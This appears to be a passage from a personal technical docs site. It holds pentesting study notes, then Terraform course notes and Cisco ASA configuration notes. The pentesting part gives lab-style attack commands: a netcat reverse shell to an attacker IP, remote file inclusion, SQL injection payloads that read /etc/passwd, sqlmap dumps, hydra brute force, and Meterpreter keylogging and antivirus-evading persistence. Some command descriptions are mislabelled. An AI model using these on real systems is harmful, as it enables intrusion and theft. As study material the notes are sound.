through selected interface > - Analyse all the packets - WHen we are the MITM, wireshark can be used to sniff and analyse traffic sent/received by targets ## Detection & Security ### ARP Spoofing Why ARP Spoofing is possible: 1. clients accept responses even if they did not send a request 2. Clients trust response without any form of verification 3. Use xarp on Windows and Linux to detect arp poisoning ### MITM Attacks Detection: 1. Analysing arp tables 2. Using tools such as Xarp 3. Using wireshark Problems: 1. Detection is not the same as prevention 2. Only works for ARP Spoofing. Solution: - Encrypt traffic - HTTPS everywhere plugin - Using a VPN Benefits of VPN: - Extra layer of encryption - More privacy & anonymity - Bypass censorship - Protection from hackers Notes: - Use reputable VPN - Avoid free providers - Make sure they keep no logs - Use HTTPS everywhere --- # Post Exploitation Source: docs/computing/pentesting/post-exploitation.md URL: https://docs.calebsargeant.com/computing/pentesting/post-exploitation/ ## Meterpreter Basics - `help` - shows help - `background` - backgrounds current session - `sessions -l` - list all sessions - `sessions -i` - interact with a certain session - `sysinfo` - display system info - `ipconfig` - displays infor about interfaces - `getuid` - shows current user ## File System Commands - `pwd` - shows current working directory - `ls` - list files in current working directory - `cd [location]` - changes working directory - `cat [file]` - prints the content of file on screen - `download [file]` - downloads file - `upload [file]` - uploads file - `execute -f [file]` - executes file ## Maintaining Access - Using a veil-evasion > - rev_http_service > - rev_tcp_service > - Use it instead of a normal backdoor > - Or upload and execute from meterpreter > - Does not always work - Using persistence module > - run persistence -h > - Detectable by antivirus programs - Using metasploit + veil-evasion = more rubust + undetectable by antivirus > - `use exploit/windows/local/persistence` > - `set session [session id]` > - `set exe::custom [backdoor location]` > - `exploit` ## Key Logging - Log all mouse/keyboard events > - `keyscan_start` - shows current working directory > - `keyscan_dump` - lists files in the current working directory > - `keyscan_stop` - changes working directory to location > - `screenshot` ## Pivoting - Use the hacked device as a pivot - Try to gain access to other devices in the network --- # Website Hacking Source: docs/computing/pentesting/website-hacking.md URL: https://docs.calebsargeant.com/computing/pentesting/website-hacking/ ## Information Gathering - IP Address - Domain name info - Technologies used - Other websites on the same server - DNS records - Unlisted files, sub-domains, directories 1. Whois lookup - find info about owner of the target > - 2. Netcraft Site Report - shows technologies used on the target > - 3. Robtex DNS lookup - shows comprehensive info about the target website > - ### Websites on the Same Server - One server can server a number of websites - Gaining access to one can help gain access to others To find websites on the same server: 1. Use robtex DNS lookup under "names pointing to the same IP" 2. Using bing.com, search for ip:\[target ip\] ### Discovering Subdomains Knock can be used to find subdomains of target 1. Discover more information 2. Discover new web applications 3. Increase attack surface 4. Discover managemment areas 5. Beta / experimental features ``` bash knockpy google.com ``` ### Files and Directories - Find files and directories in target webasite - a tool called dirb > - `dirb [target] [wordlist] [options]` ## Exploitation ### File Upload Vulnerabilities - Simple type of vulnerabilities - llow users to upload dexecutable files such as php Upload a php shell or backdoor, ex: weevly 1. Generate backdoor: `weevly generate [password] [filename]` 2. Upload generated file 3. Connect to it: `weevly [url to file] [password]` 4. Find out how to use weevly `help` ### Code Execution Vulnerabilities - If theres a command execution box or something - Allows an attacker to execute OS commands - Windows or linux commands - Can be used to get a reverse shell - Or upoad any file using wget command - Code execution commands attached in the resources ``` bash # Listen on your machiine on port 8080 nc -vv -l -p 8080 # The ip address of your machine for reverse connection - this will connect from the remote machine to your machine nc -e /bin/sh 10.20.14.203 8080 ``` ### Local File Inclusion - If theres a URL like this: ?page=include.php - Allow an attacher read any file on the same server - Access files outside www directory **Shell from LFI** - Try to inject code into readable files - Example: > - /prod/self/environ ``` bash # with burp suite modify the user-agent with: * /var/log/auth.log ``` ``` bash # encode this with base64 ssh ""@10.20.14.210 # encode with burpsuite like this: ssh ""@10.20.14.210 * /var/log/apache2/access.log ``` ### Remote File Inclusion - If theres a URL like this: ?page=include.php, put in /?page=http://10.20.14.203/reverse.txt - Similar to local file inclusion - But allows attacher to read any file from any server - Execute php files from other servers on the current server - Store php files on other servers as .txt ``` bash /etc/php5/cgi/php.ini allow_url_fopen = on allow_url_include = on ``` ``` php ``` ### Mitigation 1. File Upload Vulns - only allow safe files to be uploaded 2. Code Execution Vulns > - Dont use dangerous functions > - Filter use input before execution 3. File inclusion > - Disable allow_url_fopen and allow_url_include > - Use static file inclusion ## SQL Injection 1. They are everywhere 2. Give access to the database - sensitive data 3. Can be used to read local files outside www root 4. Can be used to log in as admin and further exploit system 5. Can be used to upload files ### Discovering SQLi in POST - Try to break the page - Using 'and', 'order by' or "'" - Test text boxes and url parameters on the form > - ``` text # use a single quote when logging in to see the code # use and 1=1 # and 1=0 to see if that works in the case of blind sql injection # aNd 111=111 # OrDeR bY 1 # input your code like this in the password field: 123456' code here# ``` ``` bash # bypass need for password in the password field aaa' or 1=1 # # bypass need for password in the username field admin' # ``` ``` bash # You can do the same with URLs if the UL has ?page=user-info.php&username=caleb # you can inject ?page=user-info.php&username=caleb' order by 1# ``` ``` bash # union select 1,table_name,null,null,5 from information_schema.tables where table_schema = 'owasp10' # union select 1,column_name,null,null,5 from information_schema.columns where table_name = 'accounts' # union select 1,username,password,is_admin,5 from accounts # union select null,load_file('/etc/passwd'),null,null,null # union select null,'example example',null,null,null into outfile '/var/www/mutillidae/example.txt' # uNiOn/**/sElEcT/**/1,2/**/%23 ``` ### Exploitation - SQLMap was designed to exploit sql injections - Works with many DB types, mysql, mssql, etc. - Can be used to perform everything we learned and more ``` bash sqlmap --help # this is the full url including all the other stuff that comes after the url sqlmap -u [target url] # Get the dbs sqlmap -u URL --dbs # Current user, database, tables, columns, data sqlmap -u URL --current-user sqlmap -u URL --current-database sqlmap -u URL --tables -D owasp10 sqlmap -u URL --columns -T accounts -D owasp10 sqlmap -u URL -T accounts -D owasp10 --dump ``` ### Preventing SQLi - Filters can be bypassed - Use black list of commands? Still can be bypassed - Use whitelist? Same issue - Use parameterized statments, seperate data from sql code ``` bash prepare("select * from accounts where username = ?") execute (array('$admin' union select #')) ``` ## XSS Vulnerabilities - Allow an attacker to inject javascript code into the page - Code is executed when the page loads - Code is executed on the client machine not the server Three main types 1. Persistent/stored XSS 2. Reflected XSS 3. DOM based XSS ### Discovering XSS - Try to inject javascript code into the pages - Test text boxes and url parameters on the form - ### Reflected XSS - None persistent, not stored. - Only work if the target visits a specially crafted URL - \alert("XSS")\ - \alert("XSS")\ ### Stored XSS - Persistent, stored on the page or DB - The injected code is executed every time the page is loaded ### Exploiting XSS - Run any javascript code - Beef framework can be used to hook targets - Inject Beef hook in vulnerable pages - Execute code from beef ### Preventing XSS Vulns - Minimise the usage of user input on html - Escape any untrusted input before inserting it into the page ## Brute Force & Dictionary Attacks - Crunch can be used to create a wordlist - Syntax: `crunch [min] [max] [characters] -t [pattern] -o [FileName]` - example: `crunch 6 8 123abc$ -i wordlist -t a@@@@b` ### Wordlists - - - - - - - - ### Hydra - Hydra is a bruteforce tool that can be used to bruteforce almost any authentication service - Syntax: `hydra [IP] -L [usernames] -P [passwords] [service]` - Example: hydra 10.20.14.212 -l admin -P /root/wordlist.txt http-post-form "mutillidae/?paye=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:F=Not Logged In" ## Discovering Vulnerabilities Automatically ### Zed Attack Proxy ZAP - Automatically find vulnerabilities in web applications - free and easy to use - can also be used for manual testing ## Pentest Methodology - Info Gathering - For every domain / subdomain > - click on every link > > > - for every link > > > > > - test parameters --- # Adding a New Provider to Your Configuration Source: docs/computing/terraform/getting-started/adding-a-new-provider-to-configuration.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/adding-a-new-provider-to-configuration/ ## Terraform Functions - Built-in to Terraform - Func_name(arg1, arg2, arg3, ...) - Test in terrafrom console - Several broad categories ### Common Function Categories - Numeric - min(42, 13, 7) - String - lower("TACOS") - Collection - merge(map1, map2) - Filesystem - file(path) - IP network - cidrsubnet() - Date and time - timestamp() ### Function Examples ``` text #Configure networking variable network_info { default = "10.1.0.0/16" #type, default, description } #Returns 10.1.0.0/24 cidr_block = cidrsubnet(var.network_info, 8, 0) #Returns 10.1.0.5 host_ip = cidrhost(var.network_info,5) #Create ami map variable "amis" { type = "map" default = { us-east-1 = "ami-1234" us-west-1 = "ami-5678" } } ami = lookup(var.amis, "us-east-1", "error") ``` ## Terraform Commands [m6_commands.txt](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m6/m6_commands.txt) [modulesix.tf](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m6/modulesix.tf) ## Terraform Providers - Iaas, Paas, Saas - Community and HashiCorp - Open source - Resources and data sources - Multiple instances ### Provider Example ``` text provider "azurerm" { subscription_id = "subscription-id" client_id = "principal-used-for-access" client_secret = "password-of-principal" tenant_id = "tenant-id" alias = "arm-1" } resource "azurerm_resource_group" "azure_tacos" { name = "resource-group-name" location = "East US" provider = azurerm.arm-1 } ``` ## Adding the AzureRM Provider [modulesix.tf](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m6/modulesix.tf) ## Resource Arguments - depends_on - count - for_each - provider ### Depends_on and Count ``` text resource "aws_instance" "taco_servers" { count = 2 tags { Name = "customer-${count.index}" } depends_on = [aws_iam_role_policy.allow_s3] } ``` ### For_each ``` text resource "aws_s3_bucket" "taco_toppings" { for_each = { food = "public-read" cash = "private" } bucket = "${each.key}-${var.bucket_suffix}" acl = each.value } ``` ## Using the Count Argument [modulesix.tf](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m6/modulesix.tf) --- # Configuring a Resource After Creation Source: docs/computing/terraform/getting-started/configuring-a-resource-after-creation.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/configuring-a-resource-after-creation/ ## Terraform Syntax - HashiCorp configuration language - Why not JSON? - Human readable and editable - Configuration syntax and expressions - Conditionals, functions, templates ### Blocks ``` text #Basic block block_type label_one label_two { key = value embedded_block { key = value } } #Example block resource "aws_route_table" "route-table" { vpc_id = "id928310928" route { cidr_block = "0.0.0.0/0" gateway_id = "id128073987" } } ``` ### Object Types ``` text #Different value types string = "taco" number = 5 bool = true list = ["bean-taco", "beef-taco"] map = {name = "Caleb", age = 27, loves_tacos = true} ``` ### References ``` text #Keyword reference var.taco_day aws_instance_taco_truck.name local.taco_toppings.cheeses module.taco_hut.locations #Interpolation taco_name = "calebs-${var.taco_type}" #Strings, numbers, and bools local.taco_count # returns the number #Lists and maps local.taco_toppings[2] #returns element 3 #Resource values var.region #returns us-east-1 data.aws_availability_zones.azs.names[1] #returns 2nd AZ ``` ## Provisioners - Last resport - Local or remote - Creation or destruction - Multiple provisioners - What if it all goes wrong? ### Provisioner Example ``` text provisioner "file" { connection { type = "ssh" user = "root" private_key = var.private_key host = var.hostname } source = "/local/path/to/file.txt" destination = "path/to/file.txt" } provisioner "local-exec" { command = "local command here" } provisioner "remote-exec" { scripts = ["lists", "of", "local", "scripts"] } ``` ## Variables and Tags & S3 Configuration [modulefive.tf](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m5/modulefive.tf) --- # Deploying Your First Terraform Configuration Source: docs/computing/terraform/getting-started/first-terraform-configuration.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/first-terraform-configuration/ ## Terraform Components - Terraform executable - Terraform files - Terraform plugins - Terraform state **Variables** ``` text variable "aws_access_key" {} variable "aws_secret_key" {} variable "aws_region" { default = "us-east-1" } ``` **Provider** ``` text provider "aws" { access_key = "var.access_key" secret_key = "var.secret_key" region = "var.aws_region" } ``` **Data** ``` text data "aws_ami" "alx" { most_recent = true owners = ["amazon"] filters {} } ``` **Resource** ``` text resource "aws_instance" "ex" { ami = "data.aws_ami.alx.id" instance_type = "t2.micro" } ``` **Output** ``` text output "aws_public_ip" { value = "aws_instance.ex.public_dns" } ``` ## Examining the Configuration [module_three.tf](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m3/module_three.tf) ## Working with Variables [terraform.tfvars.example](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m3/terraform.tfvars.example) ## Deploying the Configuration ``` bash # List terraform commands terraform # Get the terraform version terraform version # Get AWS plugin and initialise configuration terraform init # Look at config files in directory and load variables terraform plan -out m3.tfplan # Executing what's in the plan terraform apply "m3.tfplan" # Looks at state file and what resources were created and destroys them terraform destroy ``` --- # Getting Started Source: docs/computing/terraform/getting-started/index.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/ --- # Infrastructure as a Code Source: docs/computing/terraform/getting-started/infrastructure-as-a-code.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/infrastructure-as-a-code/ ## Infrastructure as a Code Defined Provisioning infrastructure through software to achieve consistent and predictable environments ### Core Concepts - Defined in code - Stored in source control - Declarative or imperative - Idempotent and consistent - Push or pull ## Declarative vs Imperative Terraform is a declarative approach to deploying infrastructure as code ``` text # Make me a taco food taco "bean-taco" { ingredients = [ "beans", "cheese", "lettace", "salsa" ] } ``` ## Idempotence and Consistency If you haven't changed anything about your configuration and you apply it again to the same environment, nothing will change in the environment, because your defined configuration matches the reality of the infrastructure that exists. ## Push or Pull Terraform is a push-type model, the configuration that terraform has is getting pushed to the target environment. ## IaC Benefits - Automated deployment - Consistent environment - Repeatable process - Reusable components - Documented architecture --- # Updating Your Configuration with More Resources Source: docs/computing/terraform/getting-started/updating-configuration-with-more-resources.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/updating-configuration-with-more-resources/ ## Terraform State - JSON format (Do not touch!) - Resource mappings and metadata - Locking - Location - Local - Remote: AWS, Azure, NFS, Terraform Cloud - Workspaces ### State File ``` json { "version": 4, "terraform_version": "0.12.5", "serial": 30, "lineage": "", "outputs": {}, "resources": [] } ``` !!! note First rule of Terraform? Make all changes in Terraform. ## Terraform Plan ### Terraform Planning - Inspect state - Dependency graph - Additions, updates, and deletions - Parallel execution - Save the plan ## Adding a VPC ``` text resource "aws_vpc" "vpc" {} resource "aws_internet_gateway" "igw" {} resource "aws_subnet" "subnet" {} resource "aws_route_table" "rtb" {} resource "aws_route_table_association" "rta-subnet1" {} ``` ### Deploying a VPC The below also includes an ELB and different availability zone for blue and red team deployment [modulefour-update.tf](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m4/modulefour-update.tf) [m4_commands.txt](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m4/m4_commands.txt) --- # Using a Module for Common Configurations Source: docs/computing/terraform/getting-started/using-a-module-for-common-configurations.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/using-a-module-for-common-configurations/ ## Terraform Modules - Code reuse - Remote or local source - Terraform Registry - Root module - Versioning - Provider inheritance - Multiple instances (no count) ### Module Components - Input variables - Resources - Output values ### Terraform Module Example ``` text variable "name" {} resource "aws_s3_bucket" "bucket" { name = var.name [...] } output "bucket_id" { value = aws_s3_bucket.bucket.id } #Create module bucket module "bucket" { name = "taco-bucket" source ./modules/s3 } #Use taco-bucket resouce "aws_s3_bucket_object" { bucket = module.bucket.bucket_id [...] } ``` ### VPC Module [resources.tf#L84](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m8/resources.tf#L84) ### S3 Module [s3](https://github.com/CalebSargeant/Getting-Started-Terraform/tree/master/m8/Modules/s3) --- # Using Functions and Variables Source: docs/computing/terraform/getting-started/using-functions-and-variables.md URL: https://docs.calebsargeant.com/computing/terraform/getting-started/using-functions-and-variables/ ## Working with Variables - Name, type, default - Multiple sources - File, environment variable, var option - Overriding variables and precedence - Environment, file, command line - Select values based on environment - Split Terraform configuration file ### Variable Examples ``` text #Specify default variable and type variable "environment_name" { type = string defualt = "development" } #Specify variable in file environment_name = "uat" #Specify variable in-file terraform plan -var 'environment_name=production' #Create variable map variable "cidr" { type = map(string) default = { development = "10.0.0.0/16" uat = "10.1.0.0/16" production = "10.2.0.0/16" } } #Use map based on environment cidr_block = lookup(var.cidr, var.environment_name) ``` ### Updating the Configuration Variables [variables.tf](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m7/variables.tf) [terraform.tfvars.example](https://github.com/CalebSargeant/Getting-Started-Terraform/blob/master/m7/terraform.tfvars.example) ## Multiple Environments - Commonality and differences - Abstractiosn and ruse - Production access - Using workspaces ### Multiple Environment Decisions - State management - Variables data - Credentials management - Complexity and overhead ### State File Example **Main** - main.config.tf - common.tfvars **Dev** - dev.state - dev.tfvars -`terraform plan -state="./dev/dev.state" -var-file="common.tfvars" -var-file="./dev/dev.tfvars"` **UAT** - uat.state - uat.tfvars - `terraform plan -state="./uat/uat.state" -var-file="common.tfvars" -var-file="./uat/uat.tfvars"` **Prod** - prod.state - prod.tfvars - `terraform plan -state="./prod/prod.state" -var-file="common.tfvars" -var-file="./prod/prod.tfvars"` ### Workspaces Example - main.config.tf - terraform.tfvars - terraform.tfstate.d (folder) ``` text terraform workspace new dev terraform plan ``` ## Managing Secrets - Variables file - Environment variable - Secrets management ### Environment Variables ``` text #AWS Environment Variables AWS_ACCESSS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SHARED_CREDENTIALS_FILE AWS_PROFILE #Powershell $env:AWS_ACCESS_KEY_ID="AASAS9283708FDKJ" #Linux export AWS_ACCESS_KEY_ID="AASAS9283708FDKJ" ``` --- # Terraform Source: docs/computing/terraform/index.md URL: https://docs.calebsargeant.com/computing/terraform/ --- # Caleb Sargeant's Docs Source: docs/index.md URL: https://docs.calebsargeant.com/ Technical how-to guides, runbooks, study notes and the things worth writing down once so they need not be worked out twice. Networking, cloud, Linux, containers and the automation that holds them together. Everything here is a working note rather than a polished manual. Some of it is current, some of it is a record of how a thing worked at the time.
- :material-lan: **[Networking](networking/cisco/index.md)** Cisco routing, switching, security and MPLS, plus MikroTik, FortiGate, Juniper, HP and UniFi. - :material-server: **[Computing](computing/cloud/index.md)** Cloud, Linux, Docker, Kubernetes, Terraform, Ansible, ELK, Jenkins and pentesting notes. - :material-code-braces: **[Programming](programming/python/index.md)** Python, from the fundamentals through to the bits that keep catching me out, and Bash. - :material-dots-horizontal: **[Other](other/general/index.md)** APIs, iperf and everything that did not fit elsewhere.
## About I have worked in IT since 2012, with a bias towards network security and open-source tooling. - Website: [calebsargeant.com](https://calebsargeant.com/) - GitHub: [github.com/CalebSargeant](https://github.com/CalebSargeant) - LinkedIn: [linkedin.com/in/calebsargeant](https://www.linkedin.com/in/calebsargeant) ![Caleb Sargeant](_images/profile-pic.jpg){ .portrait } ## For agents Everything here is also published for AI assistants to read without scraping: - [`llms.txt`](https://docs.calebsargeant.com/llms.txt) lists every page with a one-line summary, and [`llms-full.txt`](https://docs.calebsargeant.com/llms-full.txt) carries all of them as one markdown file. - [mcp.calebsargeant.com](https://mcp.calebsargeant.com/) is a public, read-only MCP server that searches these pages and [calebsargeant.com](https://calebsargeant.com/) together. No sign-in: `claude mcp add --transport http calebsargeant https://mcp.calebsargeant.com/` ## A note on the lab files The pages that came with downloadable lab archives, GNS3 projects and course PDFs still link to them, but those files are served from the [repository](https://github.com/CalebSargeant/docs) rather than from this site. Together they run to roughly 700 MB, with single files past 80 MB, which is more than a static host will take. The links work the same way; only the bytes come from somewhere else. --- # ACI Source: docs/networking/cisco/aci.md URL: https://docs.calebsargeant.com/networking/cisco/aci/ - ACI is used in the Datacentre space. - It is used to configure, manage, and operate AIO packaged SDN datacentre, integration into kubernetes, load balancing, security, etc. - One could use Open Daylight with Nexus, etc., which is a smaller, more self-defined, self-crated SDN, using NXAPI, programmable infrastructure. Your controller would have an API, which would communicate with programmable device. --- # ASA Source: docs/networking/cisco/asa.md URL: https://docs.calebsargeant.com/networking/cisco/asa/ Adaptive Security Appliance ## SCP ``` text # Enable SCP on ASA ssh scopy enable # From your host / laptop / desktop / whatever scp -v asa825-51-k8.bin username@IP_ADDRESS:disk0:asa825-51-k8.bin # From the ASA scp -v cisco@10.251.21.80:disk0:asa822-k8.bin asa822-k8.bin ``` ## LDAP Authentication ### Configuration AAA Authentication via corp-ldap (AD servers). Enable to be kept as LOCAL authentication, otherwise, all AD users will be able to enable. ``` text ASA(config)# no aaa authentication http console LOCAL ASA(config)# aaa authentication http console corp-ldap LOCAL ASA(config)# no aaa authentication ssh console LOCAL ASA(config)# aaa authentication ssh console corp-ldap LOCAL ``` ### Testing **AD Server Becomes Unreachable** Run a preliminary test: we can see the aaa-server is active. ``` text ASA# sh aaa-server corp-ldap Server Group: corp-ldap Server Protocol: ldap Server Hostname: server.example.com Server Address: x.x.x.x Server port: 0 Server status: ACTIVE, Last transaction at 10:28:15 SAST Mon Feb 25 2019 ``` Shutdown inside interface to simulate AD becoming unavailable. When connecting to the ASA via SSH or HTTPS, the ASA will flag the aaa-server as FAILED. ``` text ASA# test aaa-server authentication corp-ldap username caleb.sargeant Server IP Address or name: server.example.com Password: ************** INFO: Attempting Authentication test to IP address (x.x.x.x) (timeout: 12 seconds) ERROR: Authentication Server not responding: AAA Server has been removed ASA# sh aaa-server corp-ldap Server Group: corp-ldap Server Protocol: ldap Server Hostname: server.example.com Server Address: x.x.x.x Server port: 0 Server status: FAILED, Server disabled at 12:28:46 SAST Tue Feb 26 2019 ``` If we unshut the inside interface the ASA flags the aaa-server as ACTIVE again after the first authentication test fails. ``` text ASA# conf t ASA(config)# int g0/0 ASA(config-if)# no shut ASA(config-if)# end ASA# test aaa-server authentication corp-ldap username caleb.sargeant Server IP Address or name: server.example.com Password: ************** INFO: Attempting Authentication test to IP address (x.x.x.x) (timeout: 12 seconds) ERROR: Authentication Server not responding: AAA Server has been removed ASA# test aaa-server authentication corp-ldap username caleb.$ Server IP Address or name: server.example.com Password: ************** INFO: Attempting Authentication test to IP address (x.x.x.x) (timeout: 12 seconds) INFO: Authentication Successful ASA# sh aaa-server corp-ldap Server Group: corp-ldap Server Protocol: ldap Server Hostname: server.example.com Server Address: x.x.x.x Server port: 0 Server status: ACTIVE, Last transaction at 10:28:15 SAST Mon Feb 25 2019 ``` **Bind User Gets Deleted** The AD Recycle Bin was enabled and he corp-ldap user was deleted. ![asa ldap](_images/asa-ldap-1.png) Test authentication ``` text ASA# test aaa-server authentication corp-ldap username caleb.sargeant Server IP Address or name: server.example.com Password: ************** INFO: Attempting Authentication test to IP address (x.x.x.x) (timeout: 12 seconds) ERROR: Authentication Server not responding: AAA Server has been removed ``` AAA-Server gets marked as FAILED ``` text ASA# sh aaa-server corp-ldap Server Group: corp-ldap Server Protocol: ldap Server Hostname: server.example.com Server Address: x.x.x.x Server port: 0 Server status: FAILED, Server disabled at 13:44:16 SAST Tue Feb 26 2019 ``` Restore the bind user from Deleted Objects in AD ![asa ldap](_images/asa-ldap-2.png) Test authentication again ``` text ASA# test aaa-server authentication corp-ldap username caleb.sargeant Server IP Address or name: server.example.com Password: ************** INFO: Attempting Authentication test to IP address (x.x.x.x) (timeout: 12 seconds) INFO: Authentication Successful ``` **User Account(s) Get(s) Deleted** This one is obvious. We will be able to log in as a different user. If all users are deleted, we can have the ASA's inside interface cable be unplugged, or console into the ASA and shut the inside interface (or on the switch). When authenticating with the interface shut, the ASA will flag the aaa-server as FAILED and we will be able to login with root (LOCAL) again. See the above tests for proof. ## LDAP Authorization ### Authorization Testing We need to deauthorize other users from accessing the ASA. We will use "John Doe" from Finance to test and change the configuration on the ASA and on AD accordingly. Even though SSH access to the ASA without logging in or enabling is in non-privileged mode, only members in \#Infrastructure should be able to access the ASA. John Doe is allowed to SSH into the ASA, but because we left `enable` as LOCAL authentication, John Doe is unable to login. ``` text caleb.sargeant@MacBook:~$ ssh john.doe@vpn.example.com john.doe@vpn.example.com's password: User john.doe logged in to ASA Logins over the last 34 days: 1. Failed logins since the last login: 0. Type help or '?' for a list of available commands. ASA> login Username: john.doe Password: ********* %Login failed ERROR: Invalid username ``` John Doe is allowed to configure the ASA through ASDM ![asa ldap](_images/asa-ldap-3.png) To prevent this, we create a new aaa-server and be more specific with the ldap-base-dn. Only members inside the \#Infrastructure OU will be able to log in. ``` text aaa-server asa-ldap protocol ldap aaa-server asa-ldap (inside) host server.example.com ldap-scope subtree ldap-base-dn ou=REDACTED, dc=REDACTED, dc=com ldap-login-dn cn=corp-ldap, dc=REDACTED, dc=com ldap-login-password ********** ldap-naming-attribute sAMAccountName server-type microsoft exit aaa authentication http console asa-ldap LOCAL aaa authentication ssh console asa-ldap LOCAL ``` ## RADIUS AAA With RADIUS Authentication, we are able to specify which Windows group a user needs to be part of to log in to the ASA. ### Configuration Configure the aaa-server & enable authentication through RADIUS ``` text aaa-server asa-radius protocol radius aaa-server asa-radius (inside) host server.example.com key ***** authentication-port 1812 accounting-port 1813 no aaa authentication http console LOCAL aaa authentication http console asa-radius LOCAL no aaa authentication ssh console LOCAL aaa authentication ssh console asa-radius LOCAL # View packets debug radius all ``` ### NPS Add a RADIUS Client ![asa radius aaa](_images/asa-radius-aaa-1.png) ![asa radius aaa](_images/asa-radius-aaa-2.png) Create a Network Policy (skip Connection Request Policy). The Client Friendly Name optional and perhaps not recommended so that we can use one policy for all network devices ![asa radius aaa](_images/asa-radius-aaa-3.png) Enable only Unencrypted authentication (PAP, SPAP) ![asa radius aaa](_images/asa-radius-aaa-4.png) NAS Port Type is Virtual (VPN) ![asa radius aaa](_images/asa-radius-aaa-5.png) Service-Type is Administrative ![asa radius aaa](_images/asa-radius-aaa-6.png) ## Certificates ### Intermediate Cert with Key Create a PKCS \#12 Certificate which we will use to import into the ASA: ``` text openssl pkcs12 -export -in wildcard.corp.example.com.crt -inkey wildcard.corp.example.com.key -out wildcard.corp.example.com.p12 Enter Export Password: secret Verifying - Enter Export Password: secret ``` To read the certificate: ``` text cat wildcard.corp.example.com.p12 | base64 REDACTED (long string) ``` On the ASA via CLI (don’t use command `nointeractive`, which is the default behaviour via ASDM): ``` text ASA/sec/actNoFailover(config)# crypto ca import 2018-10-TrustPoint pkcs12 "secret" Enter the base 64 encoded pkcs12. End with the word "quit" on a line by itself: REDACTED (long string) quit % You already have RSA or ECDSA keys named 2018-10-TrustPoint. % If you replace them, all device certs issued using these keys % will be removed. % Do you really want to replace them? [yes/no]: yes Trustpoint '2018-10-TrustPoint' is a subordinate CA and holds a non self-signed certificate. Trustpoint CA certificate accepted. INFO: Import PKCS12 operation completed successfully ASA/sec/actNoFailover(config)# crypto ca trustpoint 2018-10-TrustPoint ASA/sec/actNoFailover(config-ca-trustpoint)# revocation-check none ASA/sec/actNoFailover(config-ca-trustpoint)# id-usage ssl-ipsec ASA/sec/actNoFailover(config-ca-trustpoint)# exit ASA/sec/actNoFailover(config)# ssl trust-point 2018-10-TrustPoint outside ASA/sec/actNoFailover(config)# ssl trust-point 2018-10-TrustPoint inside ``` Now, when connecting to ASA via RA VPN, as long as you are using a corp.example.com hostname (example vpn.corp.example.com), you will not receive any certificate errors, because the wildcard.corp.example.com certificate is being used. ### CSR Wildcard **Generate the key** ``` text crypto key generate rsa label 2018-10-TrustPoint modulus 2048 noconfirm ``` **Create the Identity Certificate** ``` text crypto ca trustpoint 2018-10-TrustPoint revocation-check none keypair -corp.TrustPoint-2018 id-usage ssl-ipsec fqdn vpn.corp.example.com subject-name CN=asa,CN=vpn,CN=vpn-out,CN=vpn-in,O=Example,C=US enrollment terminal no ca-check ``` **Generate the CSR** ``` text crypto ca enroll 2018-10-TrustPoint noconfirm -----BEGIN CERTIFICATE----- ASA-generated random stuff -----END CERTIFICATE----- # Copy the generated CSR to your clipboard ``` **Generate a Certificate from the 3rd Party CA** Go to . We will be requesting a duplicate wildcard certificate. - Paste the ASA-generated CSR into the *Add Your CSR field*. ![asa cert](_images/asa-cert-1.png) - Input all the hostnames in FQDN format into the *Other Hostnames (SANs) field*. In this example, I inputted the below, not "vpn.corp.example.com", as per the below screenshot. This should match up with the *subject-name* command from when we created the *Identity Certificate*. - vpn-out.corp.example.com - asa.corp.example.com - vpn.corp.example.com - vpn-in.corp.example.com ![asa cert](_images/asa-cert-2.png) - Select SHA-256 from the *Signature Hash* drop-down menu. - Select Cisco from the *Server Platform* list. **Install the Certificate from the 3rd Party CA** ``` text crypto ca import 2018-10-TrustPoint certificate nointeractive -----BEGIN CERTIFICATE----- DigiCert-generated random stuff -----END CERTIFICATE----- quit ``` **Attach the Certificate to the Interfaces for SSL Authentication** ``` text ssl trust-point 2018-10-TrustPoint inside ssl trust-point 2018-10-TrustPoint outside ``` ## Health ``` text # Uptime sh ver | grep up # Memory sh mem | grep Used # CPU sh cpu # Failover sh failover state ``` ## Host Scan ### Capabilities Host Scan is capable of checking for the following endpoint attributes: - Registry - File - Process - AntiVirus - AntiSpyware - Personal Firewall DAP is capable of checking for the following endpoint attributes: - Anti-Spyware (through Host Scan) - Anti-Virus (through Host Scan) - AnyConnect (version, platform, etc.) - Application (VPN Application type, eg. AnyConnect or Clientless SSL) - File (through Host Scan) - Device (Host Name, MAC Address, BIOS Serial Number, etc) - NAC (Posture Status) - Operating System - Personal Firewall (through Host Scan) - Multiple Certificate Authentication (when MCA is the authentication method for AnyConnect) - Policy ( ? ) - Process (through Host Scan) - Registry (through Host Scan) The below guide demonstrates how to install and configure Host Scan & modifying the matching DAP policies on Cisco ASA. We will be enabling Host Scan to check if the endpoint has been added to the domain. For Windows, the best way of doing this is for Host Scan to check the registry setting for the *DomainName* value. On Mac, the only way (/best way) of doing this is for Host Scan to check that a file exists. There are no official methods of checking that a Mac has been added to the domain through Host Scan, as Macs get added to the domain through a 3rd party application (like Centrify) to Cisco. ### Enabling Host Scan First upload the image, then enable hostscan: ``` text webvpn hostscan image disk0:/hostscan_4.3.05047-k9.pkg hostscan enable ``` ### Host Scan Configuration Add a *Basic Host* Scan item: ![asa host scan](_images/asa-host-scan-1.png) **Windows:** n ASDM, add a Basic Host Scan item under *Configuration \> Remote Access VPN \> Secure Desktop Manager \> Host Scan \> Basic Host Scan \> Add \> Registry*: Entry Path: `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Datastore\Machine\0\DomainName` **Mac:** In ASDM, add a Basic Host Scan item under *Configuration \> Remote Access VPN 